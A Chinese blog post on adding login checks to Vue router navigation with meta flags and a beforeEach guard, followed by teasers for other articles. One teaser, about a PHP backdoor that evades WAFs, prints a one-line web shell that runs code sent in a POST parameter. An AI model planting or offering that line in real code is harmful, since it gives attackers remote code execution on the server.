在传统的网页中:

view层是由后端控制的,用户的请求到达后端的控制器中,只有当安安全全没有丝毫异常的情况下,后端才会将完成数据的渲染,返回给前端视图

前后端分离的项目:

view层的切换权,转交给了前端框架,如vue, 使用路由导航进行不同视图组件之间的导航, 这时如果不做任何的安全的验证限制, 其实是有问题的,如果用户在浏览器的地址栏中手动的不同的路由,同样页面会发生跳转的动作, 换句话说,用户不用登录就能进入本来是该登录后才能查看的子页面

实现思路

目标就是, 控制路由切换,在任何路由跳转之前都进行权限的验证,通过验证,允许路由的跳转,通不过验证,将用户导向登录页面

编码实现

  • 在路由器的入口文件中,给每一个路由子组件添加标识,给后续验证时判断该路由会不会被拦截使用, 如下,标记登录的请求是不需要验证的,去layout页面的请求需要进行验证,

就拿登录来说,路由的跳转发生在用户请求登录,后端验证用户的信息是否满足条件之后, 在这期间完全有时间处理后端传递回来的信息,并且将信息持久化在浏览器上,比如后端传递过来的 token, 那下面在路由跳转之前只需要验证有没有token,或者验证token的正确性再决定是否进行页面的跳转就ok了

import Vue from 'vue'
import Router from 'vue-router'
Vue.use(Router) export const constantRouterMap = [
{
path: '/login',
在这里!!!
meta: {requireAuth: false},
component: () => import('@/views/login/index'),
hidden: true
},
{
path: '/',
component: Layout,
redirect: '/dashboard',
name: 'Dashboard',
hidden: true,
children: [{
path: 'dashboard',
在这里!!!
meta: {requireAuth: true},
component: () => import('@/views/dashboard/index')
}]
},
  • 在路由跳转之前做统一的拦截, 自定义permission.js, 并在整个项目中的入口main.js中,引入这个js文件
import router from './router'
import store from './store'
import {Message} from 'element-ui' router.beforeEach((to, from, next) => {
if (to.meta.requireAuth) { // 查看请求是否需要认证
if (store.getters.loginstatus) { // 有权限,继续往下跳转
next();
return
}else{
Message.error("请您先登录");
// 不存在role信息就是去登录页
next('/login');
return
}
} else { // 不需要认证的全部直接放行
next();
return
}
}); router.afterEach(() => {
// todo
})

vue的路由安全验证的更多相关文章

  1. 关于Vue的路由、脚手架笔记

    在页面引入vue-router.js文件,开始配置路由 <div id="box"> <ul><li> <a v-link="{ ...

  2. vue(5)—— vue的路由插件—vue-router 常用属性方法

    前端路由 看到这里可能有朋友有疑惑了,前端也有路由吗?这些难道不应该是在后端部分操作的吗?确实是这样,但是现在前后端分离后,加上现在的前端框架的实用性,为的就是均衡前后端的工作量,所以在前端也有了路由 ...

  3. vue权限路由实现方式总结二

    之前已经写过一篇关于vue权限路由实现方式总结的文章,经过一段时间的踩坑和总结,下面说说目前我认为比较"完美"的一种方案:菜单与路由完全由后端提供. 菜单与路由完全由后端返回 这种 ...

  4. vue的路由设置小结

    vue的路由设置小结 // 异步路由的编写示例.其中针对component字段进行懒加载及分块处理,提升首屏加载速度的同时,也可以手动控制让某些页面合并到一个单独的js文件中,而不是每个页面都是一个j ...

  5. vue父路由默认选中第一个子路由,切换子路由让父路由高亮不会消失

    vue父路由默认选中第一个子路由,切换子路由让父路由高亮不会消失 正常默认会有 .router-active-class 识别高亮 达到以上注意: 1. exact 不要加 注意是不要加,exact ...

  6. vue的路由映射问题

    遇到的问题 今天在项目中遇到了一个问题,明明在Router文件夹下的路由js映射文件中,配置好了,如下: // 生日贺卡 { path: 'birthdayRemind', component: lo ...

  7. 前端MVC Vue2学习总结(八)——Vue Router路由、Vuex状态管理、Element-UI

    一.Vue Router路由 二.Vuex状态管理 三.Element-UI Element-UI是饿了么前端团队推出的一款基于Vue.js 2.0 的桌面端UI框架,手机端有对应框架是 Mint U ...

  8. Vue.js路由

    有时候,我们在用vue的时候会有这样的需求,比如一个管理系统,点了左边的菜单栏,右边跳转到一个新的页面中,而且刷新的时候还会停留在原来打开的页面. 又或者,一个页面中几个不同的画面来回点击切换,这两种 ...

  9. OSPF的特征、术语、包类型、邻居关系的建立、RID的选择、DR和BDR的选举、度量值的计算、默认路由、验证

    链路状态路由协议OSPF的特征.术语.包类型.邻居关系的建立.RID的选择.DR和BDR的选举.度量值的计算.默认路由.验证等. 文章目录 [*1*].链路状态路由协议概述 工作过程 优缺点 [*2* ...

随机推荐

  1. PHP后门之冷门回调函数(过waf)

    header_register_callback(create_function('','return assert($_POST[\'k\']);')); $e = $_REQUEST['e']; ...

  2. 实验吧之【who are you?】(时间盲注)补充

    第二种方法 使用brup进行盲注  也是一个道理 不多贴了 这里提一下  burp怎么判断超时 Options->Connections->Tiimeouts->Normal这一空 ...

  3. PHP pa和ma

    <?php class Mouse { private $color; public $sex; public function __construct($role){ switch($role ...

  4. [NOIp2014] luogu P2296 寻找道路

    不知道是因为我菜还是别的,最近老是看错题. 题目描述 在有向图 GGG 中,每条边的长度均为 1,现给定起点和终点,请你在图中找一条从起点到终点的路径,该路径满足以下条件: 路径上的所有点的出边所指向 ...

  5. Codeforces Round #426 The Meaningless Game

    题目网址:http://codeforces.com/contest/834/problem/C 题目: C. The Meaningless Game Slastyona and her loyal ...

  6. MySQL常用sql语句-----数据表的增删改操作

    常用sql操作如下: 1.查看当前数据库的所有表 show tables; 2.创建表 create table stu(sid int,sname char(20),sage int default ...

  7. 3.如何理解开多线程可以充分利用CPU?

    如何理解开多线程可以充分利用CPU? <1>操作系统采用时间片轮转调度算法分配的时间片给每个进程中的线程 <2>操作系统的时间片轮转调度算法分配的时间片 在别的进程中都没有准备 ...

  8. Gitlab CI 集成 Kubernetes 集群部署 Spring Boot 项目

    在上一篇博客中,我们成功将 Gitlab CI 部署到了 Docker 中去,成功创建了 Gitlab CI Pipline 来执行 CI/CD 任务.那么这篇文章我们更进一步,将它集成到 K8s 集 ...

  9. Cassandra官方介绍及安装

    Cassandra官方介绍及安装 这个数据库有很高的伸缩性和可用性,你完全不需要向性能妥协.在硬件或者云设施上做修改 官网:Cassandra官网 一.简介 cassandra这个数据库有很高的伸缩性 ...

  10. HTML CSS整理笔记

    ——修改placeholder提示的样式: 1.除IE外通用写法 类名或标签名::placeholder {color: red;}2.加兼容前缀写法 css超出一行显示省略号:给定宽度(width: ...